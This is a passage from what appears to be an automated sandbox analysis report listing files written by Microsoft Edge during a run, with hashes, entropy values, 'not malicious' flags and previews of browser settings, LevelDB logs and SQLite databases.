Preview:	...@..@...@.....C.].....@...............H...................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".wqfpoe20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................ .`2........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\2719fdc4-e561-4cfa-9d72-d835d4a7b44e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\30b6516b-c63d-4d6f-b97d-05030f66a273.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25185
Entropy (8bit):	5.571239106707465
Encrypted:	false
SSDEEP:	768:Tes2HtWPBRfdY8F1+UoAYDCx9Tuqh0VfUC9xbog/OVIi731rwzLpd4tuIi:Tes2HtWPBRfdYu1ja/e3+ot3i
MD5:	4052CE3518CDDAFF13AB589D2B4D6843
SHA1:	90E292AF054DDBA461E82CF5C55814D5656C26B7
SHA-256:	D0EC48223F30C579E8B476B6CA0313C2D995CEEB7E3AA1D363EAB35B4D683122
SHA-512:	139973900D4A8601CCA2E05C3BF3D89CAB689DF9BC8414EDC10D560F0B2767804189C565AC6DD856545300B0D171D205A6378EE501DC5657AC6F27B03D21D7A9
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13374807514434620","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13374807514434620","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\35b01a33-0764-4476-b64d-8188aa54f8c8.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17432), with no line terminators
Category:	dropped
Size (bytes):	17432
Entropy (8bit):	5.478860298239513
Encrypted:	false
SSDEEP:	384:stEPGKSu4Gs/XyfhNk7N/aZ7InebGLQwy6WulaTYX:sWOxu2XyfEa/bGkBMaTYX
MD5:	0EF199E5DFFD255B601300296FC960CF
SHA1:	0D8E16C51C82540D1D49D898D4B2494A4888DB3D
SHA-256:	9015F7782EE3F5C5EA9726BAD416EDD50764D8D7B02B1168433B4AAA10540D45
SHA-512:	90353037AD503C0891F7890B951FE7A6AEE6C982588803649EE0D60395E2F002A12B9DB1BD959F8B287E815194D988E7A96E8DFAA72B296ECAEB206265B21D46
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374807515744831","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\5083cc3a-ad07-425c-b54a-95f9f56c9e40.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (17267), with no line terminators
Category:	dropped
Size (bytes):	17267
Entropy (8bit):	5.482511771823208
Encrypted:	false
SSDEEP:	384:stEPGKSu4Gs/XyfhNk7N/aZ7InebGLQwy6WGaTYX:sWOxu2XyfEa/bGkB6aTYX
MD5:	4D2B28AD67709B51E197D75BE85ED89C
SHA1:	646CF4D827DB3064CF89DDBD0149AD5FB1C927E9
SHA-256:	B07E535C8D00AFA2FDE7402882556AB4BD12EFB716BDC966C9BB38FFA11ABFAA
SHA-512:	D6F91FF8D2D42D33493FBBEE4D09305A2BAF0A4618DE496517745F350BC548070A224C1BFBE58B3E099AB3A896DD445894C9BFD104059855F4E5D12B35230734
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13374807515744831","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6d6624cd-f27a-4acb-b89f-29d6aa7651e6.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	309
Entropy (8bit):	5.219961139810935
Encrypted:	false
SSDEEP:	6:6F7PM1923oH+Tcwtp3hBtB2KLlgF7qlyq2P923oH+Tcwtp3hBWsIFUv:6BPhYebp3dFLCBqIv4Yebp3eFUv
MD5:	75C25ECAF3FA27D4BBF2DFD81774C4B4
SHA1:	39323C16286BE5AE127A4DB8D9073A5AE8A75079
SHA-256:	60BC56A6E65AC00EB4FBCB08944A47D49E37F8D8B8D244B1760D1C9581E011A9
SHA-512:	4EA8B7A50055B396F09BCAA2A632844E1BD233D639C0EB05A9F5849276D2B64A4B9801EE5FB1F5B850BC98F43D3BF9927F6550CD12979EBD07556FF6368133A4
Malicious:	false
Preview:	2024/10/30-20:18:41.269 2114 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/10/30-20:18:41.348 2114 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222852561727888
Encrypted:	false
SSDEEP:	24576:v+/PN8FzfI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8Nfx2mjF
MD5:	CC51604E2D9741B5EB5A577388A3B8E1
SHA1:	8F80E17B3F36FFF4B452064D26AD5D6415DE1F5B
SHA-256:	E1070AE65C2D2E96211ACACCD795E1DBD1D97A57A62F49FA6F254F487BC436A9
SHA-512:	714D753F4D0C9944FCD302F962C9347A7C8EA0B994EA553A365204D68D0645099BF4152E6171C4916E40523F39F6240688C02405BE13EDD7AD6E2BAD43AB606B
Malicious:	false
Preview:	...m.................DB_VERSION.1.l.i.................QUERY_TIMESTAMP:arbitration_priority_list4...13340900604462938.$QUERY:arbitration_priority_list4....[{"name":"arbitration_priority_list","url":"https://edgeassetservice.azureedge.net/assets/arbitration_priority_list/4.0.5/asset?sv=2017-07-29&sr=c&sig=NtPyTqjbjPElpw2mWa%2FwOk1no4JFJEK8%2BwO4xQdDJO4%3D&st=2021-01-01T00%3A00%3A00Z&se=2023-12-30T00%3A00%3A00Z&sp=r&assetgroup=ArbitrationService","version":{"major":4,"minor":0,"patch":5},"hash":"N0MkrPHaUyfTgQSPaiVpHemLMcVgqoPh/xUYLZyXayg=","size":11749}]...................'ASSET_VERSION:arbitration_priority_list.4.0.5..ASSET:arbitration_priority_list.[{. "configVersion": 32,. "PrivilegedExperiences": [. "ShorelinePrivilegedExperienceID",. "SHOPPING_AUTO_SHOW_COUPONS_CHECKOUT",. "SHOPPING_AUTO_SHOW_LOWER_PRICE_FOUND",. "SHOPPING_AUTO_SHOW_BING_SEARCH",. "SHOPPING_AUTO_SHOW_REBATES",. "SHOPPING_AUTO_SHOW_REBATES_CONFIRMATION",. "SHOPPING_AUTO_SHOW_REBATES_DEACTI

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.071045017800508
Encrypted:	false
SSDEEP:	6:6F7VdzVF34q2P923oH+Tcwt9Eh1tIFUt8vF7H3JZmw+vF7SzVF3DkwO923oH+Tcf:6BVdbIv4Yeb9Eh16FUt8vB5/+vBSbz5s
MD5:	F3651DC9B97D92059DD89FFA355604EA
SHA1:	67D0BF205AB8EE7E248A2A64A604FC8C4D4FC881
SHA-256:	952DE75ED8D63F888DFC0A58A99BBB34A710F67D89849E1140F6F4AB890B23F5
SHA-512:	E68331324E8D4EBE88348DA67880702D4C0E3B8BBEA9B61AC6C3CD6DCA0D9E63F2C44A6896CD544809E0327D8A1B9EDF74E397FD85DB293E4D515F9D729EA0D2
Malicious:	false
Preview:	2024/10/30-20:18:41.158 21a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-20:18:41.161 21a0 Recovering log #3.2024/10/30-20:18:41.278 21a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.071045017800508
Encrypted:	false
SSDEEP:	6:6F7VdzVF34q2P923oH+Tcwt9Eh1tIFUt8vF7H3JZmw+vF7SzVF3DkwO923oH+Tcf:6BVdbIv4Yeb9Eh16FUt8vB5/+vBSbz5s
MD5:	F3651DC9B97D92059DD89FFA355604EA
SHA1:	67D0BF205AB8EE7E248A2A64A604FC8C4D4FC881
SHA-256:	952DE75ED8D63F888DFC0A58A99BBB34A710F67D89849E1140F6F4AB890B23F5
SHA-512:	E68331324E8D4EBE88348DA67880702D4C0E3B8BBEA9B61AC6C3CD6DCA0D9E63F2C44A6896CD544809E0327D8A1B9EDF74E397FD85DB293E4D515F9D729EA0D2
Malicious:	false
Preview:	2024/10/30-20:18:41.158 21a0 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/MANIFEST-000001.2024/10/30-20:18:41.161 21a0 Recovering log #3.2024/10/30-20:18:41.278 21a0 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DIPS

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.46233954049464926
Encrypted:	false
SSDEEP:	24:TLi5YFQq3qh7z3WMYziciNW9WkZ96UwOfBu+Q:TouQq3qh7z3bY2LNW9WMcUvBu+Q
MD5:	5FBCBA17CFAFFBFC9B69943729EE367B
SHA1:	3E5B5A62511564D2DE1CD0C5866DF7E7A61E69DE
SHA-256:	31005E57890FAC68BB016CEF888D1DBD3109613DB51F9E2836BE599BE3D60B07
SHA-512:	930A115BD38EE0D7FE2B31958B9E804D1B139E092DE5D039678A3987405335EE4A32C3E75FFE9D0EBF60A9C2D630436C553A4BE236C788338B8E0341F96C47F8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....8...n................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\DashTrackerDatabase

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	10240
Entropy (8bit):	0.8708334089814068
Encrypted:	false
SSDEEP:	12:LBtW4mqsmvEFUU30dZV3lY7+YNbr1dj3BzA2ycFUxOUDaazMvbKGxiTUwZ79GV:LLaqEt30J2NbDjfy6UOYMvbKGxjgm
MD5:	92F9F7F28AB4823C874D79EDF2F582DE
SHA1:	2D4F1B04C314C79D76B7FF3F50056ECA517C338B
SHA-256:	6318FCD9A092D1F5B30EBD9FB6AEC30B1AEBD241DC15FE1EEED3B501571DA3C7
SHA-512:	86FEF0E05F871A166C3FAB123B0A4B95870DCCECBE20B767AF4BDFD99653184BBBFE4CE1EDF17208B7700C969B65B8166EE264287B613641E7FDD55A6C09E6D4
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...v... .. .....M....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.177143805328112
Encrypted:	false
SSDEEP:	6:6FjCu4q2P923oH+TcwtnG2tMsIFUt8vFjCVZTRF3JZmw+vFjCVZTRF3DkwO923oi:6Eu4v4Yebn9GFUt8vEbRNJ/+vEbRND5l
MD5:	688C9725FA45E426F1B748BE9FD46C32
SHA1:	EFAF45F5021329C1A8021E539375F6B6262BB8F3
SHA-256:	BBA85C2876D82DFB7CF152FDD2EE1D8BB2940C7B60AF2B730571A9995D05BBEB
SHA-512:	AFB03B4ADBEF760C09D843DB92B4607DB6FD6A102925814DE2CAE25775546DCDF1FD808A0FF9C12E43CDC254D35C2ACC11809071D114E5E375F9193876AD5D69
Malicious:	false
Preview:	2024/10/30-20:18:34.521 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-20:18:34.522 1e64 Recovering log #3.2024/10/30-20:18:34.522 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	348
Entropy (8bit):	5.177143805328112
Encrypted:	false
SSDEEP:	6:6FjCu4q2P923oH+TcwtnG2tMsIFUt8vFjCVZTRF3JZmw+vFjCVZTRF3DkwO923oi:6Eu4v4Yebn9GFUt8vEbRNJ/+vEbRND5l
MD5:	688C9725FA45E426F1B748BE9FD46C32
SHA1:	EFAF45F5021329C1A8021E539375F6B6262BB8F3
SHA-256:	BBA85C2876D82DFB7CF152FDD2EE1D8BB2940C7B60AF2B730571A9995D05BBEB
SHA-512:	AFB03B4ADBEF760C09D843DB92B4607DB6FD6A102925814DE2CAE25775546DCDF1FD808A0FF9C12E43CDC254D35C2ACC11809071D114E5E375F9193876AD5D69
Malicious:	false
Preview:	2024/10/30-20:18:34.521 1e64 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/MANIFEST-000001.2024/10/30-20:18:34.522 1e64 Recovering log #3.2024/10/30-20:18:34.522 1e64 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons/coupons_data.db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage\EdgeHubAppUsageSQLite.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6141902260440387
Encrypted:	false
SSDEEP:	12:TLs9pRSJDBJuqJSEDNvrWjJQ9Dl9np59yDLgHFUxOUDaaTXubHa7mWPx+BDn/MA4:TLapR+DDNzWjJ0npnyXKUO8+jYWpimmL
MD5:	FD50F691BF15F4C0AEB00232F3FB1D8D
SHA1:	4A8F14162227E0D85EFB5976DB72DB884AE8E551
SHA-256:	920A6DEC1374653AE202D3B16368B337608154959B7607B0A024A432E853936D
SHA-512:	22E34EB3F5438D6F7B1B435924CDBD63CCF30209022614B976D605FBEE660DF68E788C7888D0EFB2B28B7EC56B50D068E7301AE8E6AA951EC89F759A1A844354
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354105951474231
Encrypted:	false
SSDEEP:	6144:zA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:zFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	64395B4F6836FA7ECA0F4CB3D2ADA3B5
SHA1:	7958A346E94A05B2681F625787794B34119DFC92
SHA-256:	FEAD28844C4BE32B6350EC1BFEDA4406A3D19EAE749D14E7637E55A68E7434E4
SHA-512:	0B8969A043772C2788A2BFEDDCEEEEA8C6C484DD12DCE0F970686F3AD1F133B487220062B1E2D00EB3CCD93F3E28219B584D6587C9B6DB71679442764F59D272
Malicious:	false
Preview:	...m.................DB_VERSION.1R..wq...............&QUERY_TIMESTAMP:domains_config_gz2...13374807522109252..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
